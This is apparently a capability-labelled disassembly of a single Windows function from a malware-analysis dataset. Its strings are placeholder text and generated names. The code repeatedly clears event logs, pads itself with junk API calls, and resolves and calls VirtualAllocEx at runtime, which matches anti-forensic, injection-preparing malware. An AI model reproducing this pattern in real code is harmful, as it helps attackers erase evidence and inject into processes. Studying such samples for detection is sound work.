Function at 0x6bad62d1
Capabilities:
Access the windows event log
Clear windows event logs
Set current directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
cmp dword [0x6bb7ad60], 0xbe3
jne 0x6bad6c1a
mov eax, dword [0x6bb7afac]
mov dword [esp + 8], str.Earum_sunt_iure_quisquam_sed
mov dword [0x6bb7af00], 0x39169761
mov dword [0x6bb7b010], eax
mov eax, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [0x6bb7aea4], 0xb2b98f7a
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x1c], eax
call eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileType]
sub esp, 0xc
mov dword [esp], 0
mov dword [ebp - 0x20], eax
call eax
push eax
mov eax, dword [ebp - 0x20]
mov dword [esp], 0
call eax
mov eax, dword [ebp - 0x20]
push edx
mov dword [esp], 0
call eax
mov eax, dword [sym.imp.KERNEL32.dll_SetLastError]
push ecx
mov dword [ebp - 0x2c], eax
mov dword [esp], 0
call eax
mov dword [0x6bb7aed0], 0x3ae45ca9
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov dword [esp + 4], str.Iure_omnis_earum_tempora_quibusdam
mov dword [esp], 0
call ebx
mov eax, dword [0x6bb7af74]
mov dword [0x6bb7afd8], 0xd9d3360
push esi
mov dword [0x6bb7aea0], eax
mov eax, dword [0x6bb7af78]
push esi
mov dword [0x6bb7b074], eax
mov eax, dword [0x6bb7afb8]
mov dword [esp], 0xa4b38132
mov dword [esp + 4], 0
mov dword [0x6bb7ae9c], eax
mov eax, dword [0x6bb7b058]
mov dword [0x6bb7af98], eax
call fcn.6badcbb4
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [0x6bb7af74], 0xc2b60b57
mov dword [0x6bb7ae98], eax
mov dword [0x6bb7afc0], 0xcc50755e
mov dword [esp], str.ProfKamronWaelchi
call esi
mov eax, dword [ebp - 0x1c]
push edi
mov dword [esp + 8], str.ElmiraBernhard
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [0x6bb7aec4]
mov dword [0x6bb7ae90], 0x1cf1c96f
sub esp, 0xc
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7af14], eax
mov eax, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov dword [0x6bb7af60], 0x76b78eb0
mov dword [ebp - 0x30], eax
call eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
push eax
mov dword [esp + 4], str.Quo_cum_omnis_vel_tenetur_suscipit_sit
mov dword [esp], str.Molestias_tempore_aut_numquam_modi_harum_quam_praesentium
call edi
mov dword [0x6bb7af48], 0xbf2129db
push eax
push eax
mov eax, dword [0x6bb7af94]
mov dword [0x6bb7ae8c], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], 0
call eax
mov dword [0x6bb7aee4], 0x3e42610a
push eax
mov dword [esp], str.Commodi_ea_ut_impedit_autem_vel_quaerat_in_aut_fugit
call esi
push eax
mov eax, dword [0x6bb7ae84]
mov dword [0x6bb7ae88], eax
mov dword [esp], str.ProfLewisGreenholtIII
call esi
mov dword [0x6bb7af5c], 0xaa67ea91
push eax
mov dword [0x6bb7b040], 0xa945133f
mov dword [esp + 4], str.In_odio_sequi_sed
mov dword [esp], str.MikelTorp
call edi
push edx
push edx
mov dword [esp], 0x3e24d0de
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7ae80], eax
mov eax, dword [ebp - 0x30]
mov dword [0x6bb7af58], 0xd5be4e12
call eax
push ecx
mov dword [esp + 4], str.RoseSchimmel
mov dword [esp], str.ClementineMcLaughlin
call edi
mov dword [0x6bb7ae7c], 0xfa12ed99
push eax
push eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], str.Quaerat_eaque_magnam_non_velit_id_earum_ipsum_vero
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCommModemStatus]
sub esp, 0xc
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x24], eax
call eax
push eax
push eax
mov eax, dword [0x6bb7ae74]
mov dword [0x6bb7ae78], eax
mov dword [esp + 4], str.ChristopProhaska
mov dword [esp], str.CelineCrona
call edi
push eax
push eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], 0
call eax
mov dword [0x6bb7aee4], 0xfbe68bc
push eax
mov eax, dword [ebp - 0x20]
mov dword [0x6bb7af4c], 0x4107e0de
mov dword [esp], 0
call eax
push eax
mov eax, dword [ebp - 0x30]
mov dword [esp], 0
call eax
mov eax, dword [0x6bb7aef4]
push edx
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], str.RobbOKeefe
mov dword [0x6bb7ae70], eax
call esi
mov eax, dword [str.qCeHV]
mov dword [0x6bb7afb4], 0xdbc49765
push ecx
mov dword [0x6bb7ae6c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], str.Nam_possimus_optio_aut_quidem_voluptatem
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0xc
mov dword [esp + 4], str.Distinctio_veniam_repellat_nisi
mov dword [esp], 0
call ebx
mov dword [0x6bb7ae98], 0xc4a918f9
push eax
push eax
mov dword [esp], 0x70ca875f
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7afd4], eax
mov eax, dword [ebp - 0x2c]
call eax
push eax
mov eax, dword [sym.imp.KERNEL32.dll_SetCommMask]
mov dword [ebp - 0x34], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
push eax
push eax
mov eax, dword [0x6bb7aef8]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp + 8], str.Et_voluptatem_id_et_ut_quia_laborum_voluptatem_dolor_libero
mov dword [0x6bb7afbc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
sub esp, 0xc
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x28], eax
call eax
mov eax, dword [0x6bb7af30]
mov dword [0x6bb7ae64], 0x57231ba4
sub esp, 0x14
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0xbe0f8eeb
mov dword [esp + 4], 0
mov dword [0x6bb7aeb0], eax
call fcn.6badcbb4
mov dword [esp + 4], str.Ipsum_et_voluptatibus_cum_incidunt_dicta_voluptatem
mov dword [0x6bb7afd0], eax
mov dword [esp], 0
call ebx
push eax
push eax
mov dword [esp], str.Provident_totam_cupiditate_quos_unde
call esi
push eax
mov eax, dword [0x6bb7afc0]
mov dword [0x6bb7b060], eax
mov dword [esp + 4], str.OttisOKon
mov dword [esp], str.MrsMaryjaneGrimes
call edi
mov eax, dword [0x6bb7aff8]
mov dword [0x6bb7ae5c], 0x85860a64
push edx
push edx
mov dword [0x6bb7ae58], eax
mov eax, dword [0x6bb7b04c]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp + 4], str.Ipsum_et_nostrum_ut_qui_aut
mov dword [0x6bb7ae54], eax
mov dword [0x6bb7af10], 0x2d0c2304
mov dword [esp], 0
call ebx
mov eax, dword [ebp - 0x28]
push ecx
push ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x14
mov dword [esp + 4], str.Consequatur_vitae_impedit_laborum_sed_omnis_accusantium_rem
mov dword [esp], 0
call ebx
push eax
push eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
push eax
push eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x14
mov dword [esp], 0x987d1240
mov dword [esp + 4], 0
call fcn.6badcbb4
mov dword [esp + 4], str.Quibusdam_est_suscipit_expedita_doloremque
mov dword [0x6bb7afd0], eax
mov dword [esp], 0
call ebx
push eax
push eax
mov dword [esp], str.Cum_et_et_voluptas
call esi
push eax
mov eax, dword [str.qCeHV]
mov dword [0x6bb7ae4c], eax
mov dword [esp], 0xe35444eb
mov dword [esp + 4], 0
call fcn.6badcbb4
mov dword [esp], 0x213c6c01
mov dword [0x6bb7ae90], eax
call fcn.6badcbb4
mov edx, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov dword [esp], str.Sit_possimus_asperiores_ipsa_et_illo_quae
mov dword [0x6bb7afc0], eax
mov eax, dword [0x6bb7aebc]
mov dword [ebp - 0x38], edx
mov dword [0x6bb7afe0], eax
call edx
push eax
mov dword [esp], 0x117858f8
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7aef4], eax
mov eax, dword [ebp - 0x30]
call eax
mov eax, dword [ebp - 0x24]
push edx
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [ebp - 0x34]
push ecx
push ecx
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
push eax
push eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], 0
call eax
push eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], str.In_odit_aspernatur_nihil_animi_repudiandae_rerum_aut
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [0x6bb7ae44]
mov dword [0x6bb7af4c], 0xb5d29e70
sub esp, 0xc
mov dword [0x6bb7af40], eax
mov dword [esp], str.Facilis_nihil_quia_in_aut_sed_eum_ipsa_ut_incidunt_ut
call esi
push eax
mov dword [esp], 0xececa156
mov dword [esp + 4], 0
call fcn.6badcbb4
mov dword [0x6bb7af90], eax
mov eax, dword [0x6bb7ae38]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp + 4], 0
mov dword [0x6bb7ae3c], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], 0
call eax
push eax
push eax
mov dword [esp], 0x4204445
call fcn.6badcbb4
mov dword [0x6bb7b038], eax
mov eax, dword [0x6bb7af94]
mov dword [0x6bb7b014], eax
mov eax, dword [0x6bb7aebc]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp], 0
mov dword [0x6bb7ae34], eax
mov eax, dword [ebp - 0x20]
call eax
push eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x14
mov dword [esp], 0xfce30d0
call fcn.6badcbb4
mov dword [esp + 8], str.CloydOlsonJr
mov dword [0x6bb7ae30], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [0x6bb7afcc]
sub esp, 0xc
mov dword [esp], eax
call fcn.6badcbb4
mov edx, dword [ebp - 0x38]
mov dword [esp], str.Et_voluptas_modi_et_autem_quia_veniam_commodi_commodi_rem
mov dword [0x6bb7ae2c], eax
mov dword [0x6bb7ae28], 0xe7f809d2
mov dword [0x6bb7b008], 0xb1ec0dea
call edx
push edx
mov dword [esp], 0xb8a1b989
mov dword [esp + 4], 0
call fcn.6badcbb4
mov dword [esp], 0x62d3604b
mov dword [0x6bb7ae70], eax
call fcn.6badcbb4
mov dword [esp + 4], 0
mov dword [0x6bb7ae74], eax
mov eax, dword [ebp - 0x24]
mov dword [0x6bb7aff8], 0x2c8d499e
mov dword [0x6bb7afc4], 0x9a2053e
mov dword [0x6bb7ae24], 0xbe68c40e
mov dword [0x6bb7ae20], 0x34bd82ac
mov dword [0x6bb7ae1c], 0x946dda96
mov dword [esp], 0
call eax
mov eax, dword [ebp - 0x28]
mov dword [0x6bb7afbc], 0xcd8c3db7
push ecx
push ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
mov eax, dword [0x6bb7aec4]
sub esp, 0x14
mov dword [0x6bb7ae18], eax
mov eax, dword [0x6bb7ae10]
mov dword [esp + 4], 0
mov dword [0x6bb7ae14], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], 0
call eax
mov eax, dword [ebp - 0x24]
push esi
push esi
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
push eax
push eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], 0
call eax
push eax
mov eax, dword [0x6bb7b060]
mov dword [esp], eax
call fcn.6badcbb4
mov dword [esp + 4], str.Ab_voluptatibus_eum_expedita_consequatur_sunt_tempore_porro_quia_quam_ex
mov dword [0x6bb7aebc], eax
mov eax, dword [0x6bb7aee4]
mov dword [esp], str.Nisi_qui_et_sit_vel_ratione_ipsam_ut_ut_qui_incidunt_ut_adipisci
mov dword [0x6bb7aea8], eax
call edi
mov dword [0x6bb7ae94], 0x680ba941
push eax
push eax
mov eax, dword [0x6bb7aef8]
mov dword [0x6bb7ae0c], eax
mov dword [esp + 4], str.Nisi_voluptatibus_nemo_consequatur_occaecati_sequi_deleniti_earum_et_dignissimos
mov dword [esp], 0
call ebx
push eax
push eax
mov dword [esp + 4], str.Perspiciatis_enim_maxime_quo_modi_enim_laborum_voluptate_qui_nihil
mov dword [esp], 0
call ebx
mov dword [0x6bb7aff8], 0x7ccc42f
push eax
push eax
mov eax, dword [ebp - 0x28]
mov dword [0x6bb7ae08], 0x5f0fcd1a
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x14
mov dword [esp + 4], str.NaomiPouros
mov dword [esp], str.MissBrookeAnkunding
call edi
push edx
push edx
mov dword [esp], 0x413c150c
call fcn.6badcbb4
mov dword [esp + 4], 0
mov dword [0x6bb7ae04], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], 0
call eax
mov eax, dword [0x6bb7afe4]
mov dword [0x6bb7ae68], 0xb5361426
push ecx
mov dword [0x6bb7aeb4], eax
mov eax, dword [0x6bb7afa8]
push ecx
mov dword [0x6bb7aebc], eax
mov dword [esp + 4], str.VirtualAllocEx
mov dword [esp], str.kernel32.dll
call fcn.6bad457f
mov edx, dword [ebp + 0x18]
mov dword [esp + 0x10], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov edx, dword [ebp + 8]
mov dword [esp], edx
call eax
sub esp, 0x14
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret